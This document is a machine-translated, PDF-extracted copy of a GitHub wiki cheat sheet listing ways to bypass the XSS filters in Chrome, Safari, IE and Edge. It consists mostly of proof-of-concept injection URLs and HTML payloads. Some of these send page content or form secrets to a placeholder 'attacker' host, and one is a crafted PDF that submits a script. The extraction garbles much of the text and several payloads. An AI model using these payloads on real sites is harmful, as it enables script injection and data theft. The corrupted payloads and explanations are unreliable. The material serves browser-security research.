Browser's XSS Filter Bypass Cheat Sheet Masatokinugawa - Filterbypass Wiki GitHub
Browser's XSS Filter Bypass Cheat Sheet Masatokinugawa - Filterbypass Wiki GitHub
Browser's XSS Filter Bypass Cheat Sheet Masatokinugawa - Filterbypass Wiki GitHub
masatokinugawa / filterbypass
XSS Auditor, XSS filter bypass. Those running on the latest version of Chrome / Safari, IE 11 / Edge Pages 3
are eligible for publication. If you are in the position to diagnose the vulnerability, if you are a
security researcher to convincingly prove that it is attackable, please help us to find further bypass. Home
Posting is what you can bypass in general circumstances. Even if the method is not listed here, it is Browser's XSS Filter Bypass
not determined that it can not be misused in the actual situation. Regardless of whether it can be Cheat Sheet
bypassed, it is always advisable to undertake fundamental XSS measures.
Fixed Bypass Archive
https://github.com/masatoki
XSS Auditor
Those not to be blocked Clone in Desktop
XSS occurring in string literals
XSS which is established by URL alone (eg when the input value directly enters the
href part of a tag)
When there are two or more injection points
When there is manipulation of a character string
When deleted
When it is substituted
DOM based XSS other than request.write () request string
XSS in XML page
http (s): Create link
A tag that can send requests to the outside
Describe any CSS
bypass
Using <object> and <param name = url / code> (Chrome only)
Using the values attribute of SVG animation (Safari only)
Use of multiple null characters (Safari only)
Using comments by -> in script tag (Safari only)
Using an odd base tag (Safari only)
Using Flash
Using a script loaded with relative URL
Use of ISO-2022-JP escape sequence
Use link and odd base tag
Use of resources of the same domain
Case where XSS is on path (Chrome only)
File upload function
Use Flash and flashvars
Use of Flash's ExternalInterface.objectID and ExternalInterface.call ()
Using Angular
Use of Vue.js
Using jQuery
Using underscore.js
Use of JSX conversion script such as JSXTransformer / babel-standalone
Use of an odd form tag (information acquisition only) (Safari only)
Past bypass
IE / Edge's XSS filter
Those not to be blocked
XSS occurring in string literals
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 1/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
XSS Auditor
< script > var q = " " ; alert ( 1 ) // " < / script >
XSS which is established by URL alone (eg when the input value directly
enters the href part of a tag)
https://vulnerabledoma.in/bypass/link?q= javascript: alert (1)
< A Href = " Javascript: Alert (1) " > Link </ A >
https://vulnerabledoma.in/bypass/text?type=2&q=%60-alert(1)%3C/script%3E%3Cscript%3E%60
< div > `-alert (1) </ script > < script > ` </ div>
<div> ` - alert ( 1 ) < / script > < script > ` </ div>
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 2/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
When deleted
https://vulnerabledoma.in/bypass/text?type=6&q=%3Csvg%20o%3Cscript%3Enload=alert(1)% 3E
When it is substituted
https://vulnerabledoma.in/bypass/text?type=7&q=%3Cscript%3E/%26/-alert(1)%3C/script%3E
<? xml version = " 1.0 " ?> < html > < script xmlns = " http://www.w3.org/1999/xhtml " > al
A character string can be described from the top of the page, and Content-Type if it is not
specified correctly, bypass is also caused when XML is selected by Content Sniffing.
https://vulnerabledoma.in/bypass/text?mime=unknown&q=%3C?xml%20version=%221.0%22?
%3E%3Cscript%20xmlns=%22http://www.w3.org/1999/xhtml% 22% 3 E alert (1)% 3 C / script% 3 E
<? xml version = " 1.0 " ?> < script xmlns = " http://www.w3.org/1999/xhtml " > alert (1) </
Those less than this are not able to execute the script, but the description is permitted, and it has
the possibility to be used for attack to some extent.
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 3/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
< A Href = Https: // Attacker .. /> Session Expired Please Login Again </ A >
https://vulnerabledoma.in/bypass/text?type=8&q=%3Cimg%20src=%22https://attacker/?data=
< p > This is a secret text. </ p> <p id = " x " > AAA </ p> < p > < img src = " https: //
Reference URL:
http://www.businessinfo.co.uk/labs/talk/The_Sexy_Assassin.ppt
http://masatokinugawa.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html
https://vulnerabledoma.in/bypass/text?
q=%3Cstyle%3E@import%20%27//attacker/test.css%27%3C/style%3E
https://vulnerabledoma.in/bypass/text?
q=%3Clink%20rel=stylesheet%20href=//attacker/test.css%3E
bypass
Attackable conditions:
Reference URL:
http://masatokinugawa.l0.cm/2016/12/xss12.html
PoC:
https://vulnerabledoma.in/bypass/text?
q=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=url%20value=https://l0.cm/xs
s.swf%3E
< object permissions = always > < param name = url value = https://l0.cm/xss.swf >
https://vulnerabledoma.in/bypass/text?
q=%3Cobject%20allowscriptaccess=always%3E%3Cparam%20name=code%20value=https://l0.cm/
xss.swf%3E
< object permissions = always > < param name = code value = https://l0.cm/xss.swf >
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 4/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
Reference URL:
https://bugs.chromium.org/p/chromium/issues/detail?id=709365
https://bugs.chromium.org/p/chromium/issues/detail?id=738017
PoC:
https://vulnerabledoma.in/bypass/text?
q=%3Csvg%20xmlns:xlink=http://www.w3.org/1999/xlink%3E%3Canimate%20xlink:href=%23x%20
attributeName=%22xlink : 3 href% 22% 20% = 20% = 20% = 20% = 20% = 20% = 20% = 20% =
20% % 3C / a% 3E
< svg xmlns: xlink = http://www.w3.org/1999/xlink > < animate xlink: href = # x attribute
Reference URL:
https://twitter.com/0rbz_/status/896896095862669312
PoC:
https://vulnerabledoma.in/bypass/text?
q=%00%00%00%00%00%00%00%3Cscript%3Ealert(1)%3C/script%3E
[0x00] [0x00] [0x00] [0x00] [0x00] [0x00] [0x00] < script > alert ( 1 ) < / script >
Reference URL:
https://bugs.chromium.org/p/chromium/issues/detail?id=753307
PoC:
https://vulnerabledoma.in/bypass/text?type=9&q=%3Cscript%3Ealert(1)% 0A--% 3E
Using Flash
Attackable conditions:
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 5/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
Reference URL:
http://masatokinugawa.l0.cm/2016/05/xss8.html
PoC:
< div > < embed allows scriptaccess = always src = / xss.swf > < base href = //l0.cm/ </
< div > < embed allows scriptaccess = always src = / xss.swf > < base href = " // l0. cm
Attackable conditions:
PoC:
https://vulnerabledoma.in/bypass/text?type=9&q=%3Cbase%20href=//cors.l0.cm/
< div > < base href = //cors.l0.cm/ </ div > < script src = /test.js > </ script >
Supplement:
In the HTML of-2022-ISO JP, [0x1B](B , [0x1B](H , [0x1B](J byte sequence is ignored that. It can
be bypassed by sandwiching it between reaction character strings. Also, in Chrome / Safari, the
[0x1B]$@[0x0A] byte strings are [0x0A] handled in the same way, but XSS Auditor can not
interpret well and bypass occurs.
Reference URL:
https://bugs.chromium.org/p/chromium/issues/detail?id=114941
https://l0.cm/encodings/test3/
PoC:
https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-
jp%3E%3Csvg%20o%1B(Bnload=alert(1)%3E
https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-
jp%3E%3Csvg%20o%1B(Hnload=alert(1)% 3E
https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-
jp%3E%3Csvg%20o%1B(Jnload=alert(1)% 3E
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 6/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
< meta charset = iso - 2022 - jp > < svg o [ 0 x 1 B ] ( Bnload = alert (1) >
(* Since the $ symbol is arbitrarily encoded and does not move as intended, it has a redirect in a
method that includes $)
https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-
jp%3E%3Cscript%3Ealert(1)% 1B$@%0A% 3C / script% 3E
https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-
jp%3E%3Cscript%3Ealert(1)% 1B$B% 0A% 3C / script% 3E
https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-
jp%3E%3Cscript%3Ealert(1)%1B(I%0A%3C/script%3E
https://vulnerabledoma.in/bypass/text?q=%3Cmeta%20charset=iso-2022-
jp%3E%3Cscript%3Ealert(1)%1B$@%0D%3C/script%3E
< meta charset = iso-2022-jp > < script > alert ( 1 ) [ 0x1B ] $ @ [ 0x0A ] < / script >
Reference URL:
https://bugs.chromium.org/p/chromium/issues/detail?id=719962
PoC:
< Div > < A Href = / ** / Alert (1) > XSS </ A > < Base Href = " Javascript: \ </ Div> <Di
Attackable conditions:
PoC:
https://vulnerabledoma.in/bypass/path/%3Clink%20rel=import%20href=%22%2Fbypass%2Fpath%
2F%3Cscript%3Ealert(1 )%3C%2Fscript%3E% 22% 3E
PATH_INFO: / < link rel = import href = " / bypass / path / <script> alert (1) </ script>
Attackable conditions:
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 7/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
PoC:
https://vulnerabledoma.in/bypass/text?
q=%3Cscript%20src=/bypass/usercontent/xss.js%3E%3C/script%3E
Attackable conditions:
Supplement:
flashvars By using attributes you can pass parameters directly without giving Flash parameters to
the query. (= On the Flash side, even if parameter passing from the URL is restricted as a
countermeasure against XSS by opening Flash directly flashvars , it can be passed in.)
Furthermore, Content-Security-Policy: default-src 'self' when there is a CSP like this, CSP
bypass Can also be used.
PoC:
https://vulnerabledoma.in/bypass/text?
csp=self&q=%3Cembed%20name=a%20flashvars=%27autoplay=true%26file=%22})\%22)-
(alert=alert(1))) } catch (e) {} //% 27% 20allowscriptaccess = always% 20src = //
vulnerabledoma.in/bypass/wp-includes/js/mediaelement/flashmediaelement.swf%3E
< Embed Name = A Flashvars = ' Autoplay = True Ando File = "}) \") - (Alert = Alert (1)))}
ActionScript:
Attackable conditions:
Supplement:
ExternalInterface.objectID Is a property to which the value of the name attribute of the tag used
for embedding is set and can not be XSS by itself, but it can be used only for bypass. It Content-
Security-Policy: default-src 'self' can also be used to bypass the CSP, such as when there is a
CSP limit like.
PoC:
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 8/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
https://vulnerabledoma.in/bypass/text?csp=self&q=%3Combed%20name=%27alert(1)-
%27%20allowscriptaccess=always%20src=//vulnerabledoma.in/bypass/wp-includes/js/
mediaelement / flashmediaelement.swf% 3E
< embed name = ' alert (1) - ' allows scriptaccess = always src = //vulnerabledoma.in/byp
ActionScript:
Using Angular
Attackable conditions:
Supplement:
Angular tries to expand the template enclosed in {{}} in the tag having the attribute ng-app.
Templates can execute scripts.
Reference URL:
http://blog.portswigger.net/2016/01/xss-without-html-client-side-template.html
PoC:
https://vulnerabledoma.in/bypass/text?
q=%3Cscript%20src=%22/js/angular1.6.4.min.js%22%3E%3C/script%3E%3Cp%20ng-app%3E {
{constructor.constructor (% 27 alert (1)% 27) ()}}
< script src = " /js/angular1.6.4.min.js " > </ script > < p ng-app > {{constructor.constr
If there is a page loading Angular from CDN corresponding to CORS on the same origin, you can
also load resources of external origin by indirectly loading from HTML Imports.
< link rel = import href = angular.html > < p ng-app > {{constructor.constructor ('alert
Use of Vue.js
Attackable conditions:
PoC:
< link rel = import href = / bypass / vue.html > < div id = app > {{constructor.construct
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 9/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
Using jQuery
Attackable conditions:
Supplement:
The additional system function of JQuery, after , before , prepend , append , html , replaceWith ,
wrap , wrapAll , insertBefore , insertAfter , prependTo , appendTo such as thing.
ownerDocument By mistaking the reference destination of Node.ownerDocument by using the form
part having the name attribute named " DOM Clobbering " (this method is known as DOM
Clobbering ) at the scene where original scripts are not executed . Furthermore, there is a
process <!-- of deleting script block before execution, and bypass is occurring by Auditor not
blocking script block containing only comment.
Reference URL:
https://sirdarckcat.github.io/csp/jquery.html
PoC:
https://vulnerabledoma.in/bypass/text?
type=5&q=%3Cform%20class=child%3E%3Cinput%20name=ownerDocument%3E%
3Cscript%3E% 3C! - alert (1)% 3C / script% 3E% 3C / form% 3E
after ( $ ( ". child " )); }); $ ( document ). ready ( function () { // code taken from http
< Link Rel = Import Href = /Bypass/jquery.Html > < the p- Class = Container > </ the p- >
Using underscore.js
Attackable conditions:
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 10/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
3. There is a script on the page or the same origin that can perform template expansion on a
specially crafted script tag
PoC:
< link rel = import href = /bypass/underscore.html > < script id = template > // <% alert
Attackable conditions:
Supplement:
We use that the conversion script parses SVG's script block like HTML script block. The original is
not executed <!-- because the --> comment section surrounded by is evaluated as a script.
PoC:
< link rel = import href = /bypass/babel-standalone.html > < svg > < script type = text /
alert (1) // -> </ svg> <script> 0 </ script >
Reference URL:
https://bugs.chromium.org/p/chromium/issues/detail?id=719092
PoC:
< div > < button form = f > CLICK < form id = f action = https: // attacker / </ div >
< Form Action = " Form2 " >
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 11/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
< input type = " hidden " name = " secret " value = "a 09 d 3 e f 0 " >
</ form >
Past bypass
Posted at Fixed Bypass Archive .
Until then, there was a blocking condition for string literals. Although it remains partly at present
location , substitution to obviously attackable which had been blocked until then is permitted,
and it is equal to no protection. Since it seems that it does not intend to provide protection
anymore, it is classified as not bypassing, not being subject to blocking.
< script > var q = " " ; location = ' javascript \ x3A alert \ x 28 1 \ x 29 ' // " < / scri
https://vulnerabledoma.in/bypass/dom_innerhtml#%3Cimg%20src=x%20onerror=alert(1)% 3E
< Div > "Src = Data:, Alert Pasento 281 Pasento 29> </ Script > < Script X = " </ Div>
<Div> " Src = Data:, Alert Pasento 281 Pasento 29 > < / Script > < Script X = " </ div>
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 12/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
When some character strings are deleted or replaced, they can not be blocked by putting the
character string in between.
When deleted
https://vulnerabledoma.in/bypass/text?type=6&q=%3Csvg%20o%3Cscript%3Enload=alert(1)% 3E
When it is substituted
The regular expressions of the filter . at the position represented by, determined width can not be
shut off when the replacement or more were made.
In order <sc{r}ipt.*?> to avoid a match to the blocking condition in the following case, & we use
an operation that is over substituted. / Is & a wild card with 0-3 characters, 0-5 characters, so the
maximum width that can be blocked is 8 characters. /&amp; The character string length of the
output after replacement is 10 characters and it can not be blocked because it exceeds the width of
8 characters.
PoC:
https://vulnerabledoma.in/bypass/text?type=10&q=%3Cscript/%26%3Ealert(1)%3C/script%3E
Those less than this are not able to execute the script, but the description is permitted, and it has
the possibility to be used for attack to some extent.
https://vulnerabledoma.in/bypass/text?type=8&q=%3Cimg%20src=%22https://attacker/?data=
< p > This is a secret text. </ p> <p id = " x " > AAA </ p> < p > < img src = " https: //
bypass
Supplement:
Edge will also try to block tags with XML namespace. <embed/:script If you use a character string
like in a normal HTML, it is interpreted as a script tag, which should originally be interpreted as an
embed tag, and fails to block. Since the blocking operation has occurred X-XSS-Protection:1;
mode-block , bypassing fails if a header is attached.
Reference URL:
http://masatokinugawa.l0.cm/2016/12/xss9.html
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 13/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
PoC:
https://vulnerabledoma.in/bypass/text?
q=%3Cembed/:script%20allowscriptaccess=always%20src=//l0.cm/xss.swf%3E
Reference URL:
http://masatokinugawa.l0.cm/2015/09/xss7.html
PoC:
https://vulnerabledoma.in/bypass/text?q=%3Cx~%
0Aonfocus=alert%281%29%20id=a%20tabindex=0%3E#a
< x ~
onfocus = alert (1) id = a tabindex = 0 >
Supplement:
When navigating, IE / Edge sends a request by encoding the query string with the character code
of the page before navigation. At this time, the XSS filter was able to cause a discrepancy between
(probably) the encoded string and the actually transmitted byte, since it is checking the encoded
string itself, not the request being sent In case a bypass occurs.
A specific example is shown with the character code x-chinese-cns used in the following PoC. In x-
chinese- 旡 cns the letter is mapped to 0xA13E. At this time, a query including this character string
is <script/旡 transmitted from a page on which x-chinese-cns is set as the character code of the
page attached to a parameter having reflection XSS. Then, the transmitted request is 旡 not a
representation of UTF-8, but a byte encoded by x-chinese- </script/0xA1> cns itself (0x3E is > ),
and <script> tags are written in the page . Normally if <script> you write a tag, the XSS filter
should work, but it will not work here. This reason is presumed to be because the filter sees
<script/旡 the character string mistakenly <sc{r}ipt.*?> and did not match the blocking
condition .
Reference URL:
http://masatokinugawa.l0.cm/2017/05/xss14.html
PoC:
https://l0.cm/bypass/ie_x-chinese-cns_text.html
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 14/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
Even with other character codes, if you mismatch between the encoded character string and the
actually transmitted byte string, you can bypass it.
https://l0.cm/bypass/ie_hz_text.html
https://l0.cm/bypass/ie_hz_attribute.html
https://l0.cm/bypass/ie_iso2022jp_text.html
https://l0.cm/bypass/ie_iso2022jp_attribute.html
(Although it seems that the operating principle seems to be slightly different from the other
vectors, it does not understand the clear principle though it reproduces in the environment of the
Japanese locale but it did not reproduce in the German environment. Posted on.
https://l0.cm/bypass/ie_0xff_text.html
https://l0.cm/bypass/ie_0xff_attribute.html
Reference URL:
http://insert-script.blogspot.com/2017/01/complete-internet-explorer-xss-filter.html
PoC:
https://l0.cm/bypass/ie_postxss_bypass.pdf
%PDF-1.1
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 33 0 R
/AcroForm 22 0 R
>>
endobj
2 0 obj
<<
/Type /Outlines
/Count 0
>>
endobj
3 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj
4 0 obj
<<
/Type /Page
/Annot [ 23 0 R ]
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources <<
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 15/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
>>
endobj
5 0 obj
<< /Length 56 >>
stream
BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream
endobj
6 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj
33 0 obj
<<
/S /SubmitForm
/F
<<
% URL TO SUBMIT TO:
/F (https://vulnerabledoma.in/bypass/text)
/FS /URL
>>
% SPECIFIES THE FORMAT AND OTHER FORM RELATED CONFIGURATION
/Flags 6
>>
endobj
22 0 obj
<<
/Fields [23 0 R]
>>
endobj
23 0 obj
<<
/DA (/Helv 12 Tf 0 g)
/F 4
/FT /Tx
/Rect [ 9.526760 680.078003 297.527008 702.078003 ]
/Subtype /Widget
/Type /Annot
% PARAMETER NAME
/T (q)
% PARAMETER PAYLOAD
/V (<script>alert\(1\)</script>)
/P 4 0 R
>>
endobj
trailer
<<
/Root 1 0 R
>>
Reference URL:
https://twitter.com/0x6D6172696F/status/753647521050849280
PoC:
https://vulnerabledoma.in/bypass/text?q=%3C?xml%20version=%221.0%22?
%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/ xhtml% 22% 3 Elal% 281% 26% 23 x
29% 3 B% 3 C / x: script% 3 E
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 16/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
<? Xml Version = " 1.0 " <?> X : Script Xmlns : X = " Http://Www.W3.Org/1999/xhtml " > Aler
Supplement:
+/v8 , +/v9 , +/v+ , +/v/ The of-7 UTF BOM are treated as. In IE, when this character string is at
the top of the page, the character code of that page is assumed to be UTF - 7. Even if a character
code is specified in the page, if you history.back() reopen it via, the character code of that page
will be treated as UTF - 7. (Note that the behavior of the latter has already been reported to
Microsoft in July 2013, but no change in behavior has been made up to now.)
PoC:
Attackable conditions:
Reference URL:
http://masatokinugawa.l0.cm/2017/05/xss13.html
PoC:
https://vulnerabledoma.in/bypass/text?q=%3C?
PXML%3E%3Chtml:script%3Ealert(1)%3C/html:script%3E&xuac=9
<? PXML> < html : script > alert (1) </ html : script >
https://vulnerabledoma.in/bypass/text?
q=%3CPXML%3E%3Chtml:script%3Ealert(1)%3C/html:script%3E&xuac=9
< PXML > < html : script > alert (1) </ html : script >
Using referrers
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 17/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
The XSS filter of IE / Edge does not operate the XSS filter in the case where Referer header from the
same domain (including subdomain) or localhost is attached. If such a referrer can be attached, it is
possible to bypass.
Attackable conditions:
PoC:
https://vulnerabledoma.in/bypass/same-domain-link.html
https://www.vulnerabledoma.in/bypass/same-domain-link.html
< A Href = " Https://Vulnerabledoma.In/bypass/text?Q= <Script> Alert (1) </ Script> " > Cli
Attackable conditions:
Supplement:
By linking vulnerable sites twice and adding referrers, links to javascript: URLs can be created
without reacting XSS filters.
PoC:
https://vulnerabledoma.in/bypass/link?q=?q=javascript%253Aalert(1)
< A Href = " ? Q = Javascript Pasento 3Aalert (1) " > Link </ A >
If you can keep the status before sending to a vulnerable form on the page
Attackable conditions:
PoC:
https://vulnerabledoma.in/bypass/form?
q=%26%23x22%3B%3E%26%23x3C%3Bscript%3Ealert%26%23x28%3B1)%26%23x3C%3B/script%3
E
Attackable conditions:
Reference URL:
https://html5sec.org/xssfilter/entities
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 18/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
PoC:
https://vulnerabledoma.in/bypass/form3?
q=%3Cbutton%20formaction=form3%3ECLICK%3Cselect%20name=q%3E%3Coption%3E% 26lt%
3Bscript%3Ealert (1)% 26lt% 3B / script% 3E
Attackable conditions:
Supplement:
If you create an empty iframe in XSS and navigate to the URL where you wrote the script to that
frame, bypassing will occur due to the referer of the vulnerable domain itself.
Reference URL:
http://www.cracking.com.ar/bugs/2016-07-14/
PoC:
https://l0.cm/bypass/ieedge_iframe.html
Attackable conditions:
Reference URL:
https://www.brokenbrowser.com/referer-spoofing-patch-bypass/
PoC:
https://l0.cm/bypass/edge_referer_spoofing.html
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 19/20
1/1/2018 Browser's XSS Filter Bypass Cheat Sheet · masatokinugawa / filterbypass Wiki · GitHub
PoC:
https://vulnerabledoma.in/bypass/form?q=%22%3E%3Cbutton%20formaction=//attacker/% 3E
Supplement:
Which is part of the reaction strings @ , : , \ , ( for entity reference notation such is not
considered, the bypass takes place in style block or attribute values in SVG which entity reference
notation is allowed. In IE, behavior:url() it is possible to execute scripts through not only attacks
that read information with CSS, but also in some cases .
Reference URL:
https://twitter.com/0x6D6172696F/status/752190911879184384
http://www.businessinfo.co.uk/labs/talk/The_Sexy_Assassin.ppt
https://blog.innerht.ml/cascading-style-scripting/
PoC:
https://vulnerabledoma.in/bypass/text?q=%3Csvg%3E%3Cstyle%3E%26commat%3Bimport
'//attacker'%3C/style%3E
< svg > < style > & commat; import '// attacker' </ style >
https://vulnerabledoma.in/bypass/text?
q=%3Csvg%3E%3Cstyle%3E@%26bsol%3B0069mport%27//attacker%27%3C/style%3E
< svg > < style > @ & bsol; 0069mport '// attacker' </ style >
< p style = " behavior & colon; url ('/ bypass / usercontent / xss.txt') " >
< p style = " behavior: url & lpar; '/bypass/usercontent/xss.txt') " >
Past bypass
Posted at Fixed Bypass Archive .
https://github.com/masatokinugawa/filterbypass/wiki/Browser's-XSS-Filter-Bypass-Cheat-Sheet 20/20